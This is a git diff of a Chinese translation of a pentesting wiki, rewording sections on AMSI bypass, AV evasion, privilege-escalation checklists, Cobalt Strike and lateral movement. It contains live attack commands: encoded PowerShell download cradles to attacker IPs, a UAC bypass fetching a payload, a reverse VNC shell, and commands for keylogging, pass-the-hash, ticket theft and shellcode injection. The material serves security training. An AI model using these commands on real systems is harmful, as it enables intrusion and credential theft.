@@ -190,17 +190,17 @@ $Spotfix.SetValue($null,$true)
 > [!NOTE]
 > 请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) 以获取更详细的解释。
 
-还有许多其他技术可以通过 PowerShell 绕过 AMSI，查看 [**此页面**](basic-powershell-for-pentesters/#amsi-bypass) 和 [此仓库](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。
+还有许多其他技术可以通过 PowerShell 绕过 AMSI，查看 [**此页面**](basic-powershell-for-pentesters/#amsi-bypass) 和 [这个仓库](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。
 
 或者这个脚本通过内存补丁将补丁应用于每个新的 PowerShell。
 
 ## 混淆
 
-有几种工具可以用来 **混淆 C# 明文代码**，生成 **元编程模板** 以编译二进制文件或 **混淆已编译的二进制文件**，例如：
+有几种工具可以用来 **混淆 C# 明文代码**，生成 **元编程模板** 以编译二进制文件或 **混淆编译后的二进制文件**，例如：
 
 - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 混淆器**
-- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目的是提供一个开源的 LLVM 编译套件的分支，能够通过 [代码混淆](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改提供增强的软件安全性。
-- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成混淆代码，而不使用任何外部工具且不修改编译器。
+- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目的是提供一个开源的 LLVM 编译套件分支，能够通过 [代码混淆](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改提供增强的软件安全性。
+- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成混淆代码，而无需使用任何外部工具且不修改编译器。
 - [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ 模板元编程框架生成的混淆操作，这将使想要破解应用程序的人稍微困难一些。
 - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 二进制混淆器，能够混淆各种不同的 pe 文件，包括：.exe, .dll, .sys
 - [**metame**](https://github.com/a0rtega/metame): Metame 是一个简单的变形代码引擎，用于任意可执行文件。
@@ -278,13 +278,13 @@ Adding file: /TotallyLegitApp.exe
 <figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> 如果你想了解更多关于C#程序集加载的信息，请查看这篇文章[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)及其InlineExecute-Assembly BOF（[https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)）
+> 如果你想了解更多关于C#程序集加载的信息，请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 和他们的InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
 
-你还可以从PowerShell加载C#程序集，查看[Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)和[S3cur3th1sSh1t的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
+你还可以从PowerShell加载C#程序集，查看 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 和 [S3cur3th1sSh1t的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
 
 ## 使用其他编程语言
 
-正如在[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)中提出的，可以通过让被攻陷的机器访问**安装在攻击者控制的SMB共享上的解释器环境**来使用其他语言执行恶意代码。
+正如在 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) 中提出的，可以通过让被攻陷的机器访问**安装在攻击者控制的SMB共享上的解释器环境**来使用其他语言执行恶意代码。
 
 通过允许访问SMB共享上的解释器二进制文件和环境，你可以**在被攻陷机器的内存中执行这些语言的任意代码**。
 
@@ -306,10 +306,10 @@ Adding file: /TotallyLegitApp.exe
 
 ## **旧技术**
 
-### **检查Defender认为恶意的部分**
+### **检查Defender发现的恶意部分**
 
-你可以使用[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)，它将**移除二进制文件的部分**，直到**找出Defender**认为恶意的部分并将其分开。\
-另一个做**同样事情的工具是**[**avred**](https://github.com/dobin/avred)，它在[**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)提供开放的网络服务。
+你可以使用[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)，它将**删除二进制文件的部分**，直到**找出Defender**发现的恶意部分并将其分离给你。\
+另一个做**同样事情的工具是** [**avred**](https://github.com/dobin/avred)，它在[**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)提供开放的网络服务。
 
 ### **Telnet服务器**
 
@@ -340,13 +340,13 @@ netsh advfirewall set allprofiles state off
 
 #### **反向连接**
 
-**攻击者**应在其 **主机** 中执行二进制文件 `vncviewer.exe -listen 5900`，以便 **准备** 捕获反向 **VNC 连接**。然后，在 **受害者** 机器中: 启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
+**攻击者**应在其 **主机** 中执行二进制文件 `vncviewer.exe -listen 5900`，以便 **准备** 捕获反向 **VNC 连接**。然后，在 **受害者** 中: 启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
 
 **警告:** 为了保持隐蔽性，你必须避免以下几件事
 
-- 如果 `winvnc` 已经在运行，不要再次启动，否则会触发 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
+- 如果 `winvnc` 已经在运行，不要启动它，否则会触发一个 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
 - 如果没有 `UltraVNC.ini` 在同一目录中，不要启动 `winvnc`，否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
-- 不要运行 `winvnc -h` 获取帮助，否则会触发 [弹出窗口](https://i.imgur.com/oc18wcu.png)
+- 不要运行 `winvnc -h` 获取帮助，否则会触发一个 [弹出窗口](https://i.imgur.com/oc18wcu.png)
 
 ### GreatSCT
 
diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md
index 6bfee9005..4d51d9a4c 100644
--- a/src/windows-hardening/basic-cmd-for-pentesters.md
+++ b/src/windows-hardening/basic-cmd-for-pentesters.md
@@ -48,7 +48,7 @@ wmic logicaldisk get caption,description,providername
 ```bash
 dir C:\$Recycle.Bin /s /b
 ```
-### 进程、服务与软件
+### 进程、服务和软件
 ```bash
 schtasks /query /fo LIST /v #Verbose out of scheduled tasks
 schtasks /query /fo LIST 2>nul | findstr TaskName
@@ -237,7 +237,7 @@ net view \\computer /ALL #List shares of a computer
 net use x: \\computer\share #Mount the share locally
 net share #Check current shares
 ```
-### Wifi
+### 无线网络
 ```bash
 netsh wlan show profile #AP SSID
 netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md
index 6ebf73dd6..e423f521f 100644
--- a/src/windows-hardening/basic-powershell-for-pentesters/README.md
+++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md
@@ -34,7 +34,7 @@ powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
 ```powershell
 Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
 ```
-### 从Linux使用b64
+### 从 Linux 使用 b64
 ```powershell
 echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
 powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
@@ -115,7 +115,7 @@ ValueData : 0
 ```
 ### AMSI 绕过
 
-**`amsi.dll`** 被 **加载** 到你的进程中，并具有任何应用程序交互所需的 **导出**。由于它被加载到你 **控制** 的进程的内存空间中，你可以通过 **覆盖内存中的指令** 来改变其行为。使其无法检测任何内容。
+**`amsi.dll`** 被 **加载** 到你的进程中，并具有任何应用程序交互所需的 **导出**。由于它被加载到你 **控制** 的进程的内存空间中，你可以通过 **覆盖内存中的指令** 来改变它的行为。使其无法检测任何内容。
 
 因此，AMSI 绕过的目标是 **在内存中覆盖该 DLL 的指令，使检测无效**。
 
@@ -181,7 +181,7 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
 
 ### AMSI Bypass 3 - SeDebug 特权
 
-[**按照此指南和代码**](https://github.com/MzHmO/DebugAmsi)，您可以看到如何通过足够的特权来调试进程，您可以生成一个 powershell.exe 进程，调试它，监视何时加载 `amsi.dll` 并禁用它。
+[**按照此指南和代码**](https://github.com/MzHmO/DebugAmsi)，您可以看到如何通过足够的调试进程的特权，生成一个 powershell.exe 进程，调试它，监控何时加载 `amsi.dll` 并禁用它。
 
 ### AMSI Bypass - 更多资源
 
diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md
index 6a2d70cf4..a7429f45b 100644
--- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md
+++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md
@@ -136,8 +136,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
 ```
 ### 组策略对象 - GPOs
 
-如果攻击者对一个 GPO 拥有 **高权限**，他可能能够通过 **为用户添加权限**、**向主机添加本地管理员用户**或 **创建一个计划任务**（立即）来执行某个操作，从而 **提权**。\
-有关此内容的 [**更多信息以及如何利用它，请点击此链接**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)。
+如果攻击者对 **GPO** 拥有 **高权限**，他可能能够通过 **为用户添加权限**、**向主机添加本地管理员用户** 或 **创建一个计划任务**（立即）来执行某个操作，从而 **提权**。\
+有关 **更多信息以及如何利用它，请访问此链接**。
 ```powershell
 #GPO
 Get-DomainGPO | select displayName #Check the names for info
diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md
index 09c1fef8f..6c655135c 100644
--- a/src/windows-hardening/checklist-windows-privilege-escalation.md
+++ b/src/windows-hardening/checklist-windows-privilege-escalation.md
@@ -1,4 +1,4 @@
-# 检查清单 - 本地 Windows 提权
+# 清单 - 本地 Windows 提权
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -7,14 +7,14 @@
 ### [系统信息](windows-local-privilege-escalation/#system-info)
 
 - [ ] 获取 [**系统信息**](windows-local-privilege-escalation/#system-info)
-- [ ] 使用脚本搜索 **内核** [**漏洞**](windows-local-privilege-escalation/#version-exploits)
-- [ ] 使用 **Google 搜索** 内核 **漏洞**
-- [ ] 使用 **searchsploit 搜索** 内核 **漏洞**
+- [ ] 搜索 **内核** [**利用脚本**](windows-local-privilege-escalation/#version-exploits)
+- [ ] 使用 **Google 搜索** 内核 **利用**
+- [ ] 使用 **searchsploit 搜索** 内核 **利用**
 - [ ] [**环境变量**](windows-local-privilege-escalation/#environment) 中有趣的信息？
 - [ ] [**PowerShell 历史**](windows-local-privilege-escalation/#powershell-history) 中的密码？
-- [ ] [**Internet 设置**](windows-local-privilege-escalation/#internet-settings) 中有趣的信息？
+- [ ] [**互联网设置**](windows-local-privilege-escalation/#internet-settings) 中有趣的信息？
 - [ ] [**驱动器**](windows-local-privilege-escalation/#drives)？
-- [ ] [**WSUS 漏洞**](windows-local-privilege-escalation/#wsus)？
+- [ ] [**WSUS 利用**](windows-local-privilege-escalation/#wsus)？
 - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)？
 
 ### [日志/AV 枚举](windows-local-privilege-escalation/#enumeration)
@@ -39,14 +39,14 @@
 
 ### [网络](windows-local-privilege-escalation/#network)
 
-- [ ] 检查 **当前** [**网络信息**](windows-local-privilege-escalation/#network)
+- [ ] 检查 **当前** [**网络** **信息**](windows-local-privilege-escalation/#network)
 - [ ] 检查 **隐藏的本地服务** 是否限制外部访问
 
 ### [运行中的进程](windows-local-privilege-escalation/#running-processes)
 
-- [ ] 进程二进制文件 [**文件和文件夹权限**](windows-local-privilege-escalation/#file-and-folder-permissions)
+- [ ] 进程二进制 [**文件和文件夹权限**](windows-local-privilege-escalation/#file-and-folder-permissions)
 - [ ] [**内存密码挖掘**](windows-local-privilege-escalation/#memory-password-mining)
-- [ ] [**不安全的 GUI 应用程序**](windows-local-privilege-escalation/#insecure-gui-apps)
+- [ ] [**不安全的 GUI 应用**](windows-local-privilege-escalation/#insecure-gui-apps)
 - [ ] 通过 `ProcDump.exe` 偷取 **有趣进程** 的凭据？（firefox, chrome 等 ...）
 
 ### [服务](windows-local-privilege-escalation/#services)
@@ -76,7 +76,7 @@
 ### [Windows 凭据](windows-local-privilege-escalation/#windows-credentials)
 
 - [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) 凭据
-- [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 中你可以使用的凭据？
+- [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 凭据你可以使用？
 - [ ] 有趣的 [**DPAPI 凭据**](windows-local-privilege-escalation/#dpapi)？
 - [ ] 保存的 [**Wifi 网络**](windows-local-privilege-escalation/#wifi) 密码？
 - [ ] [**保存的 RDP 连接**](windows-local-privilege-escalation/#saved-rdp-connections) 中有趣的信息？
@@ -95,7 +95,7 @@
 - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) 文件？
 - [ ] [**缓存的 GPP 密码**](windows-local-privilege-escalation/#cached-gpp-pasword)？
 - [ ] [**IIS Web 配置文件**](windows-local-privilege-escalation/#iis-web-config) 中的密码？
-- [ ] [**Web 日志**](windows-local-privilege-escalation/#logs) 中有趣的信息？
+- [ ] [**网络日志**](windows-local-privilege-escalation/#logs) 中有趣的信息？
 - [ ] 你想要 [**向用户请求凭据**](windows-local-privilege-escalation/#ask-for-credentials) 吗？
 - [ ] [**回收站中的有趣文件**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)？
 - [ ] 其他 [**包含凭据的注册表**](windows-local-privilege-escalation/#inside-the-registry)？
diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md
index deb8022a6..51a2840b3 100644
--- a/src/windows-hardening/cobalt-strike.md
+++ b/src/windows-hardening/cobalt-strike.md
@@ -4,7 +4,7 @@
 
 ### C2 Listeners
 
-`Cobalt Strike -> Listeners -> Add/Edit` 然后您可以选择监听的位置，使用哪种信标（http, dns, smb...）等。
+`Cobalt Strike -> Listeners -> Add/Edit` 然后您可以选择监听的位置、使用的信标类型（http、dns、smb...）等。
 
 ### Peer2Peer Listeners
 
@@ -23,12 +23,12 @@
 
 * **`HTMLApplication`** 用于HTA文件
 * **`MS Office Macro`** 用于带有宏的办公文档
-* **`Windows Executable`** 用于.exe, .dll或服务.exe
-* **`Windows Executable (S)`** 用于**无阶段**的.exe, .dll或服务.exe（无阶段比有阶段更好，IoCs更少）
+* **`Windows Executable`** 用于.exe、.dll或服务.exe
+* **`Windows Executable (S)`** 用于**无阶段**的.exe、.dll或服务.exe（无阶段比有阶段更好，IoCs更少）
 
 #### Generate & Host payloads
 
-`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 这将生成一个脚本/可执行文件，以从cobalt strike下载信标，格式包括：bitsadmin, exe, powershell和python
+`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 这将生成一个脚本/可执行文件，以从cobalt strike下载信标，格式包括：bitsadmin、exe、powershell和python
 
 #### Host Payloads
 
@@ -36,155 +36,155 @@
 
 ### Beacon Options
 
-<pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
+<pre class="language-bash"><code class="lang-bash"># 执行本地 .NET 二进制文件
 execute-assembly &#x3C;/path/to/executable.exe>
 
-# Screenshots
-printscreen    # 通过PrintScr方法拍摄单个屏幕截图
-screenshot     # 拍摄单个屏幕截图
+# 截图
+printscreen    # 通过 PrintScr 方法拍摄单个截图
+screenshot     # 拍摄单个截图
 screenwatch    # 定期拍摄桌面截图
-## 转到View -> Screenshots查看它们
+## 转到 View -> Screenshots 查看它们
 
-# keylogger
+# 键盘记录器
 keylogger [pid] [x86|x64]
-## View > Keystrokes查看按下的键
+## View > Keystrokes 查看按下的键
 
-# portscan
+# 端口扫描
 portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # 在另一个进程中注入端口扫描操作
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
-# Import Powershell module
+# 导入 Powershell 模块
 powershell-import C:\path\to\PowerView.ps1
 powershell &#x3C;just write powershell cmd here>
 
-# User impersonation
-## Token generation with creds
-make_token [DOMAIN\user] [password] #创建用于在网络中模拟用户的令牌
-ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机中的C$
-rev2self # 停止使用make_token生成的令牌
-## 使用make_token会生成事件4624：账户成功登录。 该事件在Windows域中非常常见，但可以通过过滤登录类型来缩小范围。 如上所述，它使用LOGON32_LOGON_NEW_CREDENTIALS，类型为9。
+# 用户冒充
+## 使用凭据生成令牌
+make_token [DOMAIN\user] [password] # 创建令牌以在网络中冒充用户
+ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机上的 C$
+rev2self # 停止使用通过 make_token 生成的令牌
+## 使用 make_token 会生成事件 4624：帐户已成功登录。 该事件在 Windows 域中非常常见，但可以通过过滤登录类型来缩小范围。 如上所述，它使用 LOGON32_LOGON_NEW_CREDENTIALS，类型为 9。
 
-# UAC Bypass
+# UAC 绕过
 elevate svc-exe &#x3C;listener>
 elevate uac-token-duplication &#x3C;listener>
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
-## Steal token from pid
-## 类似于make_token，但从进程中窃取令牌
+## 从 pid 中窃取令牌
+## 类似于 make_token，但从进程中窃取令牌
 steal_token [pid] # 此外，这对于网络操作而非本地操作很有用
-## 从API文档中我们知道，这种登录类型“允许调用者克隆其当前令牌”。 这就是信标输出显示模拟&#x3C;current_username>的原因 - 它正在模拟我们自己的克隆令牌。
-ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机中的C$
-rev2self # 停止使用steal_token的令牌
+## 从 API 文档中我们知道，这种登录类型“允许调用者克隆其当前令牌”。 这就是 Beacon 输出显示 Impersonated &#x3C;current_username> 的原因 - 它正在冒充我们自己的克隆令牌。
+ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机上的 C$
+rev2self # 停止使用从 steal_token 获取的令牌
 
-## 使用新凭据启动进程
-spawnas [domain\username] [password] [listener] #从具有读取权限的目录执行，例如：cd C:\
-## 类似于make_token，这将生成Windows事件4624：账户成功登录，但登录类型为2（LOGON32_LOGON_INTERACTIVE）。 它将详细说明调用用户（TargetUserName）和模拟用户（TargetOutboundUserName）。
+## 使用新凭据启动进程
+spawnas [domain\username] [password] [listener] # 从具有读取权限的目录执行，例如：cd C:\
+## 类似于 make_token，这将生成 Windows 事件 4624：帐户已成功登录，但登录类型为 2（LOGON32_LOGON_INTERACTIVE）。 它将详细说明调用用户（TargetUserName）和被冒充用户（TargetOutboundUserName）。
 
-## Inject into process
+## 注入到进程中
 inject [pid] [x64|x86] [listener]
-## 从OpSec的角度来看：除非真的有必要，否则不要执行跨平台注入（例如x86 -> x64或x64 -> x86）。
+## 从 OpSec 的角度来看：除非真的有必要，否则不要执行跨平台注入（例如 x86 -> x64 或 x64 -> x86）。
 
-## Pass the hash
-## 此修改过程需要对LSASS内存进行修补，这是一个高风险操作，需要本地管理员权限，并且如果启用了受保护进程轻量级（PPL），则不太可行。
+## 传递哈希
+## 此修改过程需要对 LSASS 内存进行修补，这是一个高风险操作，需要本地管理员权限，并且如果启用了受保护进程轻量级（PPL），则不太可行。
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Pass the hash through mimikatz
+## 通过 mimikatz 传递哈希
 mimikatz sekurlsa::pth /user:&#x3C;username> /domain:&#x3C;DOMAIN> /ntlm:&#x3C;NTLM HASH> /run:"powershell -w hidden"
-## 如果没有/run，mimikatz会生成cmd.exe，如果您以具有桌面的用户身份运行，他将看到shell（如果您以SYSTEM身份运行，则可以继续）
-steal_token &#x3C;pid> #从mimikatz创建的进程中窃取令牌
+## 如果没有 /run，mimikatz 会生成一个 cmd.exe，如果您以具有桌面的用户身份运行，他将看到 shell（如果您以 SYSTEM 身份运行，您就可以了）
+steal_token &#x3C;pid> # 从 mimikatz 创建的进程中窃取令牌
 
-## Pass the ticket
+## 传递票证
 ## 请求票证
 execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;username> /domain:&#x3C;domain> /aes256:&#x3C;aes_keys> /nowrap /opsec
-## 创建一个新的登录会话以使用新票证（以免覆盖被攻陷的票证）
+## 创建一个新的登录会话以与新票证一起使用（以免覆盖被破坏的票证）
 make_token &#x3C;domain>\&#x3C;username> DummyPass
-## 从powershell会话中将票证写入攻击者机器并加载
+## 从 PowerShell 会话中将票证写入攻击者机器并加载
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
-## Pass the ticket from SYSTEM
+## 从 SYSTEM 传递票证
 ## 使用票证生成新进程
 execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;USERNAME> /domain:&#x3C;DOMAIN> /aes256:&#x3C;AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## 从该进程中窃取令牌
 steal_token &#x3C;pid>
 
-## Extract ticket + Pass the ticket
-### List tickets
+## 提取票证 + 传递票证
+### 列出票证
 execute-assembly C:\path\Rubeus.exe triage
-### Dump interesting ticket by luid
+### 通过 luid 转储有趣的票证
 execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:&#x3C;luid> /nowrap
-### 创建新的登录会话，注意luid和processid
+### 创建新的登录会话，注意 luid 和 processid
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
 ### 在生成的登录会话中插入票证
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### 最后，从新进程中窃取令牌
+### 最后，从该新进程中窃取令牌
 steal_token &#x3C;pid>
 
-# Lateral Movement
+# 横向移动
 ## 如果创建了令牌，将会使用它
 jump [method] [target] [listener]
 ## 方法：
-## psexec                    x86   使用服务运行服务EXE工件
-## psexec64                  x64   使用服务运行服务EXE工件
-## psexec_psh                x86   使用服务运行PowerShell一行代码
-## winrm                     x86   通过WinRM运行PowerShell脚本
-## winrm64                   x64   通过WinRM运行PowerShell脚本
+## psexec                    x86   使用服务运行服务 EXE 工件
+## psexec64                  x64   使用服务运行服务 EXE 工件
+## psexec_psh                x86   使用服务运行 PowerShell 一行代码
+## winrm                     x86   通过 WinRM 运行 PowerShell 脚本
+## winrm64                   x64   通过 WinRM 运行 PowerShell 脚本
 
 remote-exec [method] [target] [command]
 ## 方法：
 <strong>## psexec                          通过服务控制管理器远程执行
-</strong>## winrm                           通过WinRM（PowerShell）远程执行
-## wmi                             通过WMI远程执行
+</strong>## winrm                           通过 WinRM 远程执行（PowerShell）
+## wmi                             通过 WMI 远程执行
 
-## 要使用wmi执行信标（它不在jump命令中），只需上传信标并执行
+## 要使用 wmi 执行信标（它不在 jump 命令中），只需上传信标并执行
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
 
-# Pass session to Metasploit - Through listener
-## 在metaploit主机上
+# 将会话传递给 Metasploit - 通过监听器
+## 在 metasploit 主机上
 msf6 > use exploit/multi/handler
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
 msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## 在cobalt上：Listeners > Add并将Payload设置为Foreign HTTP。 将Host设置为10.10.5.120，将Port设置为8080，然后单击保存。
+## 在 cobalt：Listeners > Add 并将 Payload 设置为 Foreign HTTP。 将 Host 设置为 10.10.5.120，将 Port 设置为 8080，然后单击保存。
 beacon> spawn metasploit
-## 您只能使用外部监听器生成x86 Meterpreter会话。
+## 您只能使用外部监听器生成 x86 Meterpreter 会话。
 
-# Pass session to Metasploit - Through shellcode injection
-## 在metasploit主机上
+# 将会话传递给 Metasploit - 通过 shellcode 注入
+## 在 metasploit 主机上
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw -o /tmp/msf.bin
-## 运行msfvenom并准备multi/handler监听器
+## 运行 msfvenom 并准备 multi/handler 监听器
 
-## 将bin文件复制到cobalt strike主机
+## 将 bin 文件复制到 cobalt strike 主机
 ps
-shinject &#x3C;pid> x64 C:\Payloads\msf.bin #在x64进程中注入metasploit shellcode
+shinject &#x3C;pid> x64 C:\Payloads\msf.bin # 在 x64 进程中注入 metasploit shellcode
 
-# Pass metasploit session to cobalt strike
-## 生成无阶段信标shellcode，转到Attacks > Packages > Windows Executable (S)，选择所需的监听器，选择Raw作为输出类型，并选择使用x64有效负载。
-## 在metasploit中使用post/windows/manage/shellcode_inject注入生成的cobalt strike shellcode
+# 将 metasploit 会话传递给 cobalt strike
+## 生成无阶段的 Beacon shellcode，转到 Attacks > Packages > Windows Executable (S)，选择所需的监听器，选择 Raw 作为输出类型，并选择使用 x64 负载。
+## 在 metasploit 中使用 post/windows/manage/shellcode_inject 注入生成的 cobalt strike shellcode
 
 
-# Pivoting
-## 在teamserver中打开socks代理
+# 透传
+## 在团队服务器中打开 socks 代理
 beacon> socks 1080
 
-# SSH connection
+# SSH 连接
 beacon> ssh 10.10.17.12:22 username password</code></pre>
 
-## Avoiding AVs
+## 避免 AVs
 
 ### Artifact Kit
 
-通常在`/opt/cobaltstrike/artifact-kit`中，您可以找到cobalt strike将用于生成二进制信标的代码和预编译模板（在`/src-common`中）。
+通常在 `/opt/cobaltstrike/artifact-kit` 中，您可以找到代码和预编译模板（在 `/src-common` 中），这些是 cobalt strike 将用于生成二进制信标的有效载荷。
 
-使用[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)与生成的后门（或仅使用编译的模板），您可以找到触发防御者的原因。 通常是一个字符串。 因此，您只需修改生成后门的代码，以便该字符串不会出现在最终的二进制文件中。
+使用 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) 与生成的后门（或仅使用编译的模板），您可以找到触发防御者的原因。 通常是一个字符串。 因此，您只需修改生成后门的代码，以便该字符串不会出现在最终的二进制文件中。
 
-修改代码后，只需从同一目录运行`./build.sh`并将`dist-pipe/`文件夹复制到Windows客户端的`C:\Tools\cobaltstrike\ArtifactKit`中。
+修改代码后，只需从同一目录运行 `./build.sh` 并将 `dist-pipe/` 文件夹复制到 Windows 客户端的 `C:\Tools\cobaltstrike\ArtifactKit` 中。
 ```
 pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
 ```
diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md
index 6ead4fd75..5cc3c8669 100644
--- a/src/windows-hardening/lateral-movement/README.md
+++ b/src/windows-hardening/lateral-movement/README.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-有不同的方法在外部系统中执行命令，这里可以找到主要的 Windows 横向移动技术的工作原理说明：
+有不同的方法在外部系统中执行命令，这里可以找到主要Windows横向移动技术的工作原理解释：
 
 - [**PsExec**](psexec-and-winexec.md)
